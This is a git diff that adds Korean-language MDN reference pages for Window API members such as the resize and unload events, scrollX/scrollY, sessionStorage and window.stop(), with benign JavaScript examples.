+ + diff --git a/files/ko/web/api/window/resize_event/index.html b/files/ko/web/api/window/resize_event/index.html new file mode 100644 index 0000000000..f2c38b598b --- /dev/null +++ b/files/ko/web/api/window/resize_event/index.html @@ -0,0 +1,192 @@ +--- +title: resize +slug: Web/API/Window/resize_event +translation_of: Web/API/Window/resize_event +--- +

 

+ +

resize 이벤트는 document view의 크기가 변경될 때 발생합니다.

+ +

window.onresize 속성(어트리뷰트)을 사용하거나,window.addEventListener('resize', ...)를 사용하여, 이벤트 핸들러에 resize 이벤트를 등록할 수 있습니다.

+ +

일부 브라우저의 이전 버전에서는 모든 HTML 요소(엘리먼트)에 resize 이벤트 핸들러를 등록 할 수 있었습니다. 여전히 onresize 속성을 사용하거나, {{domxref("EventTarget.addEventListener", "addEventListener()")}}를 사용하여 모든 요소에 핸들러를 설정할 수 있습니다. 그러나 resize 이벤트는 오직 {{domxref("Window", "window")}}객체({{domxref("document.defaultView")}})에서만 발생합니다(전달합니다). window 객체에 등록된 핸들러만 이벤트를 수신합니다.

+ +

모든 요소가 resize 변경을 알림받을 수 있도록 하는 새로운 제안(proposal 2017)이 있습니다. 드래프트문서를 읽으려면 Resize Observer를 참조하고, 진행중인 토론을 읽으려면 Github issues 문서를 참조하세요.

+ +

General info

+ +
+
Specifications
+
DOM L3, CSSOM View
+
Interface
+
UIEvent
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
defaultView (window)
+
Default Action
+
None
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTarget이벤트 타겟(DOM 트리의 최상위 타겟).
type {{readonlyInline}}DOMString이벤트의 타입.
bubbles {{readonlyInline}}Boolean이벤트가 정상적으로 버블이 발생하는지 여부.
cancelable {{readonlyInline}}Boolean이벤트 취소 가능 여부.
view {{readonlyInline}}WindowProxydocument.defaultView (문서의 window)
detail {{readonlyInline}}long (float)0.
+ +

Examples

+ +

resize 이벤트는 빈번하게 발생될 수 있기 때문에, 이벤트 핸들러는 DOM 수정과 같은 계산이 많이 필요한 연산을 실행하지 않아야 합니다. 대신에 다음과 같이 requestAnimationFrame, setTimeout, customEvent* 등을 사용해 이벤트를 스로틀(throttle) 하는것이 좋습니다:
+
+ * 주의: IE11은 제대로 작동하려면 customEvent 폴리필(polyfill)이 필요합니다.

+ +

requestAnimationFrame + customEvent

+ +
(function() {
+    var throttle = function(type, name, obj) {
+        obj = obj || window;
+        var running = false;
+        var func = function() {
+            if (running) { return; }
+            running = true;
+             requestAnimationFrame(function() {
+                obj.dispatchEvent(new CustomEvent(name));
+                running = false;
+            });
+        };
+        obj.addEventListener(type, func);
+    };
+
+    /* init - you can init any event */
+    throttle("resize", "optimizedResize");
+})();
+
+// handle event
+window.addEventListener("optimizedResize", function() {
+    console.log("Resource conscious resize callback!");
+});
+
+ +

requestAnimationFrame

+ +
var optimizedResize = (function() {
+
+    var callbacks = [],
+        running = false;
+
+    // fired on resize event
+    function resize() {
+
+        if (!running) {
+            running = true;
+
+            if (window.requestAnimationFrame) {
+                window.requestAnimationFrame(runCallbacks);
+            } else {
+                setTimeout(runCallbacks, 66);
+            }
+        }
+
+    }
+
+    // run the actual callbacks
+    function runCallbacks() {
+
+        callbacks.forEach(function(callback) {
+            callback();
+        });
+
+        running = false;
+    }
+
+    // adds callback to loop
+    function addCallback(callback) {
+
+        if (callback) {
+            callbacks.push(callback);
+        }
+
+    }
+
+    return {
+        // public method to add additional callback
+        add: function(callback) {
+            if (!callbacks.length) {
+                window.addEventListener('resize', resize);
+            }
+            addCallback(callback);
+        }
+    }
+}());
+
+// start process
+optimizedResize.add(function() {
+    console.log('Resource conscious resize callback!')
+});
+
+ +

setTimeout

+ +
(function() {
+
+  window.addEventListener("resize", resizeThrottler, false);
+
+  var resizeTimeout;
+  function resizeThrottler() {
+    // ignore resize events as long as an actualResizeHandler execution is in the queue
+    if ( !resizeTimeout ) {
+      resizeTimeout = setTimeout(function() {
+        resizeTimeout = null;
+        actualResizeHandler();
+
+       // The actualResizeHandler will execute at a rate of 15fps
+       }, 66);
+    }
+  }
+
+  function actualResizeHandler() {
+    // handle the resize event
+    ...
+  }
+
+}());
diff --git a/files/ko/web/api/window/resizeto/index.html b/files/ko/web/api/window/resizeto/index.html new file mode 100644 index 0000000000..a00b232297 --- /dev/null +++ b/files/ko/web/api/window/resizeto/index.html @@ -0,0 +1,73 @@ +--- +title: Window.resizeTo() +slug: Web/API/Window/resizeTo +tags: + - API + - CSSOM View + - Method + - Reference + - Window +translation_of: Web/API/Window/resizeTo +--- +
{{APIRef}}
+ +

Window.resizeTo() 메서드는 동적으로 창의 크기를 변경합니다.

+ +

구문

+ +
window.resizeTo(width, height)
+
+ +

매개변수

+ +
+
width
+
새로운 {{domxref("window.outerWidth","outerWidth")}}를 나타내는 픽셀 단위 정수. 스크롤 바, 제목 표시줄 등을 모두 포함한 너비입니다.
+
height
+
새로운 {{domxref("window.outerHeight","outerHeight")}}를 나타내는 픽셀 단위 정수. 스크롤 바, 제목 표시줄 등을 모두 포함한 높이입니다.
+
+ + + +

예제

+ +

다음 함수는 창의 크기를 화면에서 사용 가능한 크기의 1/4로 설정합니다. {{domxref("Screen.availWidth")}}, {{domxref("Screen.availHeight")}} 속성도 참고하세요.

+ +
function quarter() {
+  window.resizeTo(
+    window.screen.availWidth / 2,
+    window.screen.availHeight / 2
+  );
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-resizeto', 'window.resizeTo()') }}{{ Spec2('CSSOM View') }}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.resizeTo")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/scrollto/index.html b/files/ko/web/api/window/scrollto/index.html new file mode 100644 index 0000000000..10fa9652f2 --- /dev/null +++ b/files/ko/web/api/window/scrollto/index.html @@ -0,0 +1,48 @@ +--- +title: Window.scrollTo() +slug: Web/API/Window/scrollTo +translation_of: Web/API/Window/scrollTo +--- +
{{ APIRef }}
+ +

요약

+ +

문서의 지정된 위치로 스크롤합니다.

+ +

구문

+ +
window.scrollTo(x-좌표, y-좌표)
+ +

매개변수

+ + + +

예제

+ +
window.scrollTo( 0, 1000 );
+ +

노트

+ +

이 함수는 window.scroll과 효과적으로 같습니다. 스크롤링 관련 정보는 window.scrollBy, window.scrollByLines, 그리고 window.scrollByPages가 있습니다.

+ +

사양

+ + + + + + + + + + + + + + + + +
사양상태주해
{{ SpecName('CSSOM View', '#dom-window-scroll', 'window.scroll()') }}{{ Spec2('CSSOM View') }}Initial definition.
diff --git a/files/ko/web/api/window/scrollx/index.html b/files/ko/web/api/window/scrollx/index.html new file mode 100644 index 0000000000..e967d100e0 --- /dev/null +++ b/files/ko/web/api/window/scrollx/index.html @@ -0,0 +1,82 @@ +--- +title: Window.scrollX +slug: Web/API/Window/scrollX +tags: + - API + - CSSOM View + - Property + - Reference + - 스크롤 +translation_of: Web/API/Window/scrollX +--- +
{{APIRef("CSSOM View")}}
+ +

{{domxref("Window")}} 인터페이스의 scrollX 읽기 전용 속성은 문서가 수평으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다. 최신 브라우저에서는 값의 정밀도가 픽셀보다 작으므로 반드시 정숫값을 반환하는건 아닙니다. 수직 스크롤은 {{domxref("Window.scrollY", "scrollY")}} 속성을 사용하여 가져올 수 있습니다.

+ +

구문

+ +
var x = window.scrollX
+ +

+ +

반환하는 값은 문서가 원점으로부터 수평방향으로 스크롤한 픽셀의 수를 나타내는 배정밀도 부동소수점 값입니다. 양의 값이 왼쪽 스크롤을 의미합니다. 문서를 픽셀보다 작은 정밀도의 장치에서 렌더링한 경우 반환값의 정밀도도 높아져 소숫값을 반환할 수 있습니다. 문서가 좌우로 전혀 움직이지 않은 상태면 0을 반환합니다.

+ +
+

정숫값이 필요하면 {{jsxref("Math.round()")}}를 사용해 반올림할 수 있습니다.

+
+ +

더 기술적인 용어로, scrollX는 현재 {{Glossary("viewport", "뷰포트")}} 왼쪽 모서리의 X좌표를 반환하고, 뷰포트가 없으면 0을 반환합니다.

+ +

예제

+ +

다음 예제는 문서의 현재 스크롤 위치가 400픽셀이 넘으면 맨 처음으로 돌아갑니다.

+ +
if (window.scrollX > 400) {
+  window.scroll(0,0);
+}
+ +

참고

+ +

pageXOffset 속성은 scrollX 의 다른 이름입니다.

+ +
window.pageXOffset === window.scrollX; // 항상 true
+ +

브라우저 호환성을 위해서는 window.scrollX 대신 window.pageXOffset을 사용하세요. 이에 더해, Internet Explorer 9 미만에서는 두 속성 모두 지원하지 않으므로 다른 비표준 속성을 사용해야 합니다. 다음은 완벽히 호환되는 코드의 예시입니다.

+ +
var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-window-scrollx', 'window.scrollX')}}{{Spec2('CSSOM View')}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.scrollX")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/scrolly/index.html b/files/ko/web/api/window/scrolly/index.html new file mode 100644 index 0000000000..311a1eed05 --- /dev/null +++ b/files/ko/web/api/window/scrolly/index.html @@ -0,0 +1,86 @@ +--- +title: Window.scrollY +slug: Web/API/Window/scrollY +tags: + - API + - CSSOM View + - Property + - Reference + - Window + - 스크롤 +translation_of: Web/API/Window/scrollY +--- +
{{APIRef("CSSOM View")}}
+ +

{{domxref("Window")}} 인터페이스의 scrollY 읽기 전용 속성은 문서가 수직으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다. 최신 브라우저에서는 값의 정밀도가 픽셀보다 작으므로 반드시 정숫값을 반환하는건 아닙니다. 수평 스크롤은 {{domxref("Window.scrollX", "scrollX")}} 속성을 사용하여 가져올 수 있습니다.

+ +

구문

+ +
var y = window.scrollY
+ +

+ +

원점으로부터 문서를 수직방향으로 스크롤한 픽셀의 수를 나타내는, 배정밀도 부동소수점 값. 양의 값이 위쪽 스크롤을 의미합니다. 문서를 단일 픽셀보다 높은 정밀도의 장치에서 렌더링한 경우 반환값의 정밀도도 높아져 소숫값을 반환할 수 있습니다. 문서가 위나 아래로 전혀 움직이지 않은 상태면 0을 반환합니다.

+ +
+

정숫값이 필요하면 {{jsxref("Math.round()")}}를 사용해 반올림할 수 있습니다.

+
+ +

더 기술적인 용어로, scrollY는 현재 {{Glossary("viewport", "뷰포트")}} 위쪽 모서리의 Y좌표를 반환하고, 뷰포트가 없으면 0을 반환합니다.

+ +

예제

+ +
// make sure and go down to the second page
+if (window.scrollY) {
+  window.scroll(0, 0);  // reset the scroll position to the top left of the document.
+}
+
+window.scrollByPages(1);
+ +

참고

+ +

scrollY 속성을 사용하면 {{domxref("window.scrollBy", "scrollBy()")}}, {{domxref("window.scrollByLines", "scrollByLines()")}}, {{domxref("window.scrollByPages", "scrollByPages()")}}와 같은 상대적 스크롤 함수를 사용할 때, 문서가 이미 스크롤되지는 않았는지 판별할 수 있습니다.

+ +

{{domxref("Window.pageYOffset", "pageYOffset")}} 속성은 scrollY의 다른 이름입니다.

+ +
window.pageYOffset === window.scrollY; // 항상 true
+ +

브라우저간 호환성을 위해서는 window.scrollY 대신 window.pageYOffset을 사용하세요. 이에 더해, Internet Explorer 9 미만의 구형 환경에서는 두 속성 모두 지원하지 않으므로 또 다른 비표준 속성을 사용해야 합니다. 다음은 완벽히 호환되는 코드의 예시입니다.

+ +
var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-window-scrolly', 'window.scrollY')}}{{Spec2('CSSOM View')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.scrollY")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/self/index.html b/files/ko/web/api/window/self/index.html new file mode 100644 index 0000000000..0e22bd94ed --- /dev/null +++ b/files/ko/web/api/window/self/index.html @@ -0,0 +1,72 @@ +--- +title: Window.self +slug: Web/API/Window/self +tags: + - API + - HTML DOM + - Property + - Read-only + - Reference + - Window +translation_of: Web/API/Window/self +--- +
{{APIRef}}
+ +

Window.self 읽기전용 속성은 자기 자신을 {{domxref("WindowProxy")}}로써 반환합니다. window.self로도 사용할 수 있고, self만 독립적으로 사용해 접근할 수 있습니다. 독립적으로 접근했을 때의 이점은 비 {{jsxref("Window")}} 환경인 {{domxref("Worker", "웹 워커", "", 0)}} 등도 비슷한 표기법을 사용한다는 것입니다. 이 때 selfWindow 문맥에서는 window.self, 워커 문맥에서는 {{domxref("WorkerGlobalScope.self")}}와 같습니다.

+ +

예제

+ +

아래와 같이 쓴 window.self는 그냥 window로 바꿨을 때와 동일합니다.

+ +
if (window.parent.frames[0] != window.self) {
+    // this window is not the first frame in the list
+}
+
+ +

이에 더해 브라우징 문맥의 현재 활성확된 문서에서는 window가 현재 전역 객체를 가리키므로 다음 네 줄의 코드는 모두 동일합니다.

+ +
var w1 = window;
+var w2 = self;
+var w3 = window.window;
+var w4 = window.self;
+// w1, w2, w3, w4 모두 일치. 그러나 워커에서는 w2만 작동함
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-self', 'Window.self')}}{{Spec2('HTML WHATWG')}}No difference from the latest snapshot {{SpecName("HTML5.1")}}
{{SpecName('HTML5.1', 'browsers.html#dom-self', 'Window.self')}}{{Spec2('HTML5.1')}}No difference from the {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', 'browsers.html#dom-self', 'Window.self')}}{{Spec2('HTML5 W3C')}}First snapshot containing the definition of Window.self.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.self")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/sessionstorage/index.html b/files/ko/web/api/window/sessionstorage/index.html new file mode 100644 index 0000000000..7ae76ce298 --- /dev/null +++ b/files/ko/web/api/window/sessionstorage/index.html @@ -0,0 +1,101 @@ +--- +title: Window.sessionStorage +slug: Web/API/Window/sessionStorage +tags: + - API + - Property + - Reference + - Storage + - Window + - WindowSessionStorage + - 세션스토리지 +translation_of: Web/API/Window/sessionStorage +--- +
{{APIRef("Web Storage API")}}
+ +

sessionStorage 읽기 전용 속성은 현재 {{glossary("origin", "출처")}} 세션의 {{domxref("Storage")}} 객체에 접근합니다. sessionStorage는 {{domxref("Window.localStorage", "localStorage")}}와 비슷하지만, localStorage의 데이터는 만료되지 않고, sessionStorage의 데이터는 페이지 세션이 끝날 때 제거되는 차이가 있습니다.

+ + + +

sessionStorage에 저장한 자료는 페이지 프로토콜별로 구분합니다. 특히 HTTP(http://example.com)로 방문한 페이지에서 저장한 데이터는 같은 페이지의 HTTPS(https://example.com)와는 다른 sessionStorage에 저장됩니다.

+ +

키와 값은 항상 각 문자에 2바이트를 할당하는 UTF-16 {{domxref("DOMString")}}의 형태로 저장합니다. 객체와 마찬가지로 정수 키는 자동으로 문자열로 변환합니다.

+ +

구문

+ +
myStorage = window.sessionStorage;
+ +

+ +

현재 {{glossary("origin", "출처")}}의 세션 저장 공간에 접근할 수 있는 {{domxref("Storage")}} 객체.

+ +

예외

+ +
+
SecurityError
+
요청이 정책의 결정을 위반했거나, 출처가 유효한 스킴/호스트/포트 튜플이 아닌 경우. 유효하지 않은 튜플은 출처가 file:이나 data: 스킴을 사용했을 때 발생할 수 있습니다. 예외의 예를 들자면 사용자가 특정 출처의 지속성 데이터를 거부하도록 브라우저를 설정하는 경우가 있습니다.
+
+ +

예제

+ +

아래 코드는 현재 출처의 세션 {{domxref("Storage")}} 객체에 접근한 후, {{domxref("Storage.setItem()")}}을 사용해 항목 하나를 추가합니다.

+ +
sessionStorage.setItem('myCat', 'Tom');
+ +

다음 예제는 텍스트 필드의 문장을 자동 저장하여 브라우저가 의도치 않게 재시작 되었을 경우 자동으로 텍스트 필드의 내용을 저장된 문장으로 복구하여 작성한 내용이 사라지지 않게 합니다.

+ +
// 추적할 텍스트 입력 칸 가져오기
+let field = document.getElementById("field");
+
+// 자동저장 값이 존재하는지 판별
+// (의도치 않게 페이지를 새로 불러올 경우에만 발생)
+if (sessionStorage.getItem("autosave")) {
+  // 입력 칸의 콘텐츠 복구
+  field.value = sessionStorage.getItem("autosave");
+}
+
+// 텍스트 입력 칸의 변화 수신
+field.addEventListener("change", function() {
+  // 결과를 세션에 저장
+  sessionStorage.setItem("autosave", field.value);
+});
+
+ +
+

참고: Web Storage API 사용하기 문서에서 전체 예제를 살펴보세요.

+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "webstorage.html#dom-sessionstorage", "sessionStorage")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.sessionStorage")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/status/index.html b/files/ko/web/api/window/status/index.html new file mode 100644 index 0000000000..2dd40aa3fd --- /dev/null +++ b/files/ko/web/api/window/status/index.html @@ -0,0 +1,25 @@ +--- +title: Window.status +slug: Web/API/Window/status +translation_of: Web/API/Window/status +--- +
{{APIRef}}
+ +

요약

+ +

브라우저 하단의 상태 표시줄에 텍스트를 바꾸거나, 기존 텍스트를 얻을 수 있다.

+ +

이 프로퍼티는 파이어폭스나 기타 브라우저의 기본 설정값에서는 동작하지 않는다. window.status를 변경한다고 하더라도 상태 표시줄의 메시지에 출력되지 않을 것이다. 상태바 텍스트를 변경할 수 있게 하려면 유저가 about:config 창에서 dom.disable_window_status_change 를 허용해 주어야 한다.(인터넷 익스플로러의 경우 [인터넷 옵션 - 보안 - 사용자 지정 수준 - 스크립트를 통해 상태 표시줄 업데이트 허용]을 '사용'으로 바꾸어야 한다.)

+ +
+

Note: Starting in {{Gecko("1.9.1")}}, users can let websites change the status text by enabling the "Change status bar" preference in the Advanced options panel.

+
+ +

문법

+ +
window.status = string;
+var value = window.status;
+ +

Specification

+ +

HTML5

diff --git a/files/ko/web/api/window/stop/index.html b/files/ko/web/api/window/stop/index.html new file mode 100644 index 0000000000..9ad0b6d546 --- /dev/null +++ b/files/ko/web/api/window/stop/index.html @@ -0,0 +1,50 @@ +--- +title: Window.stop() +slug: Web/API/Window/stop +translation_of: Web/API/Window/stop +--- +
 {{APIRef}}
+ +

요약

+ +

Window.stop()메서드는 window 객체의 로딩을 취소하는 메서드입니다.

+ +

문법

+ +
window.stop()
+
+ +

예시

+ +
window.stop();
+
+ +

본문

+ +

stop() 메서드는 브라우저의 정지 버튼을 누르는 행위와 동등한 효과를 지닙니다. Because of the order in which scripts are loaded, the stop() method cannot stop the document in which it is contained from loading, but it will stop the loading of large images, new windows, and other objects whose loading is deferred.

+ +

설명

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','browsers.html#dom-window-stop','Window.stop()')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-window-stop', 'Window.stop')}}{{Spec2('HTML5 W3C')}} 
+ +

Compatibility

+ +

stop()메서드는 인터넷 익스플로러에서 지원하지 않습니다.

diff --git a/files/ko/web/api/window/toolbar/index.html b/files/ko/web/api/window/toolbar/index.html new file mode 100644 index 0000000000..37e6a6cce0 --- /dev/null +++ b/files/ko/web/api/window/toolbar/index.html @@ -0,0 +1,51 @@ +--- +title: Window.toolbar +slug: Web/API/Window/toolbar +tags: + - 참고 + - 창 +translation_of: Web/API/Window/toolbar +--- +
{{APIRef}}
+ +

요약

+ +

창에서 끌 수 있는, 눈에 보이는 toolbar 문제를 해결합니다.

+ +

문법

+ +
objRef = window.toolbar
+ +

예제

+ +

{{deprecated_inline()}} 주어진 HTML 예제는 다양한 "바" 객체의 visible 프로퍼티의 사용방법과, 권한상승 역시 현재창에서 어떠한 bar의 visible 프로퍼티로 쓰여지는것을 필요로한다는 것을 보여주고 있습니다. 하지만 deprecation of enablePrivilege 때문에 이 기능은 웹 페이지에서 사용할 수 없습니다. EnablePrivilege는 Firefox 15 에서 작동하지 않고, Firefox 17 에서 삭제 될 것입니다.

+ +
<!DOCTYPE html>
+<html>
+<head>
+<title>Various DOM Tests</title>
+<script>
+
+// 현재창에서 존재하는 바의 상태를 변경
+netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite");
+window.toolbar.visible=!window.toolbar.visible;
+
+</script>
+</head>
+
+<body>
+  <p>Various DOM Tests</p>
+</body>
+</html>
+ +

설명

+ +

페이지를 띄울때, 브라우저는 다음과 같은 dialog를 출력할 것입니다. : Image:Modify_any_open_window_dialog.png

+ +

이러한 눈에 보이는 바들을 끄기 위해서, 당신의 스크립트를 확인하거나 위의 예제처럼 적절한 권한을 활성화 시켜야 합니다. 또한 주의해야 할 점은 동적으로 업데이트 되는 다양한 보이는 toolbar는 창의 크기에 따라 동적으로 업데이트 될 수 있고, 당신의 페이지의 레이아웃에 영향을 끼칠 수 있습니다.

+ +

See also: window.locationbar, window.menubar, window.personalbar, window.scrollbars, window.statusbar

+ +

사양

+ +

HTML5

diff --git a/files/ko/web/api/window/top/index.html b/files/ko/web/api/window/top/index.html new file mode 100644 index 0000000000..d499281395 --- /dev/null +++ b/files/ko/web/api/window/top/index.html @@ -0,0 +1,55 @@ +--- +title: Window.top +slug: Web/API/Window/top +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/top +--- +
{{APIRef}}
+ +

Returns a reference to the topmost window in the window hierarchy.

+ +

Syntax

+ +
var topWindow = window.top;
+
+ +

Notes

+ +

Where the {{domxref("window.parent")}} property returns the immediate parent of the current window, window.top returns the topmost window in the hierarchy of window objects.

+ +

This property is especially useful when you are dealing with a window that is in a subframe of a parent or parents, and you want to get to the top-level frameset.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-top', 'window.top')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-top', 'window.top')}}{{Spec2('HTML5 W3C')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Window.top")}}

diff --git a/files/ko/web/api/window/unload_event/index.html b/files/ko/web/api/window/unload_event/index.html new file mode 100644 index 0000000000..8cf741a9ae --- /dev/null +++ b/files/ko/web/api/window/unload_event/index.html @@ -0,0 +1,126 @@ +--- +title: 'Window: unload 이벤트' +slug: Web/API/Window/unload_event +tags: + - Event + - Reference + - Window + - 이벤트 +translation_of: Web/API/Window/unload_event +--- +
{{APIRef}}
+ +

unload 이벤트는 문서나 하위 리소스가 언로딩 중일 때 발생합니다.

+ + + + + + + + + + + + + + + + + + + + +
확산아니오
취소 가능아니오
인터페이스{{domxref("Event")}}
이벤트 처리기 속성{{domxref("WindowEventHandlers/onunload", "onunload")}}
+ +

unload는 다음 이벤트 이후 발생합니다.

+ + + +

unload 시점의 문서는 다음과 같은 상태입니다.

+ + + +

참고로 unload 이벤트 역시 문서 트리의 순서를 따라갑니다. 즉 부모 프레임의 unload가 자식 프레임의 unload 이전에 발생합니다. 아래 예제를 확인하세요

+ +

예제

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Parent Frame</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 1st one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 3rd one.');
+      });
+    </script>
+  </head>
+  <body>
+    <iframe src="child-frame.html"></iframe>
+  </body>
+</html>
+ +

아래는 child-frame.html의 내용입니다.

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Child Frame</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 2nd one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 4th and last one…');
+      });
+    </script>
+  </head>
+  <body>
+      ☻
+  </body>
+</html>
+ +

부모 프레임이 언로딩 될 때, console.log() 메시지를 통해 순서를 확인할 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('UI Events', '#event-type-unload', 'unload')}}{{Spec2('UI Events')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.unload_event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/window/index.html b/files/ko/web/api/window/window/index.html new file mode 100644 index 0000000000..16109243f1 --- /dev/null +++ b/files/ko/web/api/window/window/index.html @@ -0,0 +1,43 @@ +--- +title: Window.window +slug: Web/API/Window/window +translation_of: Web/API/Window/window +--- +
{{APIRef}}
+ +

요약

+ +

window 객체의 window 프로퍼티는 자기 자신의 window 객체를 가리킨다. 즉, 아래의 표현들은 같은 window 객체를 반환하게 된다:

+ +
window.window
+window.window.window
+window.window.window.window
+  ...
+
+ +

웹페이지에서 window 객체는 전역 객체이기도 하다. 다시 말해서:

+ +
    +
  1. 스크립트의 전역 변수는 사실 window 객체의 프로퍼티이다. +
    var global = {data: 0};
    +alert(global === window.global); // true를 반환한다.
    +
    +
  2. +
  3. window 객체의 내장된 프로퍼티들은 window. 접두사 없이도 참조가 가능하다. +
    setTimeout("alert('Hi!')", 50); // window.setTimeout. 을 사용한 것과 동일하다.
    +alert(window === window.window); // true를 반환한다.
    +
    +
  4. +
+ +

자기 자신을 참조하는 window 라는 프로퍼티가 있다는 것은 (아마도) 전역 객체를 쉽게 참조하기 위함으로 생각된다.(없다면 스크립트 첫 부분에 다음과 같이 직접 만들어주었어야 했다. var window = this;)

+ +

다른 이유로는, 만약 이 프로퍼티가 없다면 다음과 같이 작성이 불가능하기 때문이다: "{{domxref("window.open","window.open('http://google.com/')")}}" - 대신 다음과 같이 적어야 할 것이다. "open('http://google.com/')"

+ +

Yet another reason to use this property is for libraries which wish to offer OOP-versions and non-OOP versions (especially JavaScript modules). If, for example, we refer to "this.window.location.href", a JavaScript module could define a property called "window" inside of a class it defined (since no global "window" variable exists for it by default) which, could be created, for example, after passing in a window object to the module class' constructor.  Thus, "this.window" inside of its functions would refer to that window object. In the non-namespaced version, "this.window" would simply refer back to "window", and also be able to get the document location without trouble. Another advantage is that the objects of such a class (even if the class were defined outside of a module) could change their reference to the window at will, as they would not be able to do if they had hard-coded a reference to "window" (yet the default in the class could still be set as the current window object).

+ +

Specification

+ + diff --git a/files/ko/web/api/windoweventhandlers/index.html b/files/ko/web/api/windoweventhandlers/index.html new file mode 100644 index 0000000000..751168141a --- /dev/null +++ b/files/ko/web/api/windoweventhandlers/index.html @@ -0,0 +1,101 @@ +--- +title: WindowEventHandlers +slug: Web/API/WindowEventHandlers +tags: + - API + - HTML-DOM + - Interface + - Mixin + - Reference + - WindowEventHandlers +translation_of: Web/API/WindowEventHandlers +--- +
{{APIRef("HTML DOM")}}
+ +

The WindowEventHandlers mixin describes the event handlers common to several interfaces like {{domxref("Window")}}, or {{domxref("HTMLBodyElement")}} and {{domxref("HTMLFrameSetElement")}}. Each of these interfaces can implement additional specific event handlers.

+ +
+

Note: WindowEventHandlers is a mixin and not an interface; you can't actually create an object of type WindowEventHandlers.

+
+ +

Properties

+ +

The events properties, of the form onXYZ, are defined on the {{domxref("WindowEventHandlers")}}, and implemented by {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.

+ +
+
{{domxref("WindowEventHandlers.onafterprint")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.
+
{{domxref("WindowEventHandlers.onbeforeprint")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.
+
{{domxref("WindowEventHandlers.onbeforeunload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.
+
{{domxref("WindowEventHandlers.onhashchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.
+
{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.
+
{{domxref("WindowEventHandlers.onmessage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.
+
{{domxref("WindowEventHandlers.onmessageerror")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("MessageError")}} event is raised.
+
{{domxref("WindowEventHandlers.onoffline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.
+
{{domxref("WindowEventHandlers.ononline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.
+
{{domxref("WindowEventHandlers.onpagehide")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.
+
{{domxref("WindowEventHandlers.onpageshow")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.
+
{{domxref("WindowEventHandlers.onpopstate")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.
+
{{domxref("WindowEventHandlers.onstorage")}}
+
